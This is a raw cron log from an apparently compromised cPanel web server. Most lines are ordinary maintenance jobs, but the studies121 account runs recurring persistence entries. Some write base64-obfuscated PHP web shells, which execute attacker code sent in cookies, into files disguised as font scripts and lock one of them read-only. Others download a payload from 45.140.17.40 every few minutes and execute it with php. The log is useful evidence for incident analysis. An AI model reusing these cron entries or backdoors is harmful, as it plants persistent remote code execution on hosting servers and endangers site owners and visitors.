Sep 11 22:16:01 ip-184-168-122-23 CROND[12303]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:16:01 ip-184-168-122-23 CROND[12304]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:16:01 ip-184-168-122-23 CROND[12305]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 22:17:01 ip-184-168-122-23 CROND[12398]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:17:01 ip-184-168-122-23 CROND[12400]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:17:01 ip-184-168-122-23 CROND[12401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:17:01 ip-184-168-122-23 CROND[12399]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:18:01 ip-184-168-122-23 CROND[12568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:18:01 ip-184-168-122-23 CROND[12571]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:18:01 ip-184-168-122-23 CROND[12569]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:18:01 ip-184-168-122-23 CROND[12570]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:18:01 ip-184-168-122-23 CROND[12572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:19:01 ip-184-168-122-23 CROND[12671]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:19:01 ip-184-168-122-23 CROND[12672]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:19:01 ip-184-168-122-23 CROND[12673]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:19:01 ip-184-168-122-23 CROND[12674]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12776]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12779]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:20:01 ip-184-168-122-23 CROND[12785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12783]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12786]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12784]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:20:01 ip-184-168-122-23 CROND[12780]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:20:01 ip-184-168-122-23 CROND[12791]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:21:01 ip-184-168-122-23 CROND[12889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:21:01 ip-184-168-122-23 CROND[12891]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:21:01 ip-184-168-122-23 CROND[12890]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:21:01 ip-184-168-122-23 CROND[12893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:22:01 ip-184-168-122-23 CROND[12979]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:22:01 ip-184-168-122-23 CROND[12981]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:22:01 ip-184-168-122-23 CROND[12982]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:22:01 ip-184-168-122-23 CROND[12984]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:22:01 ip-184-168-122-23 CROND[12983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:23:01 ip-184-168-122-23 CROND[13154]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:23:01 ip-184-168-122-23 CROND[13155]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:23:01 ip-184-168-122-23 CROND[13156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:23:01 ip-184-168-122-23 CROND[13157]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:24:01 ip-184-168-122-23 CROND[13249]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:24:01 ip-184-168-122-23 CROND[13251]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:24:01 ip-184-168-122-23 CROND[13252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:24:01 ip-184-168-122-23 CROND[13254]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:24:01 ip-184-168-122-23 CROND[13253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13352]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13354]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:25:01 ip-184-168-122-23 CROND[13355]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13356]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:25:01 ip-184-168-122-23 CROND[13359]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:26:01 ip-184-168-122-23 CROND[13452]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 22:26:01 ip-184-168-122-23 CROND[13451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:26:01 ip-184-168-122-23 CROND[13453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:26:01 ip-184-168-122-23 CROND[13455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:26:01 ip-184-168-122-23 CROND[13454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:27:01 ip-184-168-122-23 CROND[13553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:27:01 ip-184-168-122-23 CROND[13554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 22:27:01 ip-184-168-122-23 CROND[13555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 22:27:01 ip-184-168-122-23 CROND[13556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:28:01 ip-184-168-122-23 CROND[13730]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 22:28:01 ip-184-168-122-23 CROND[13733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 22:28:01 ip-184-168-122-23 CROND[13732]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
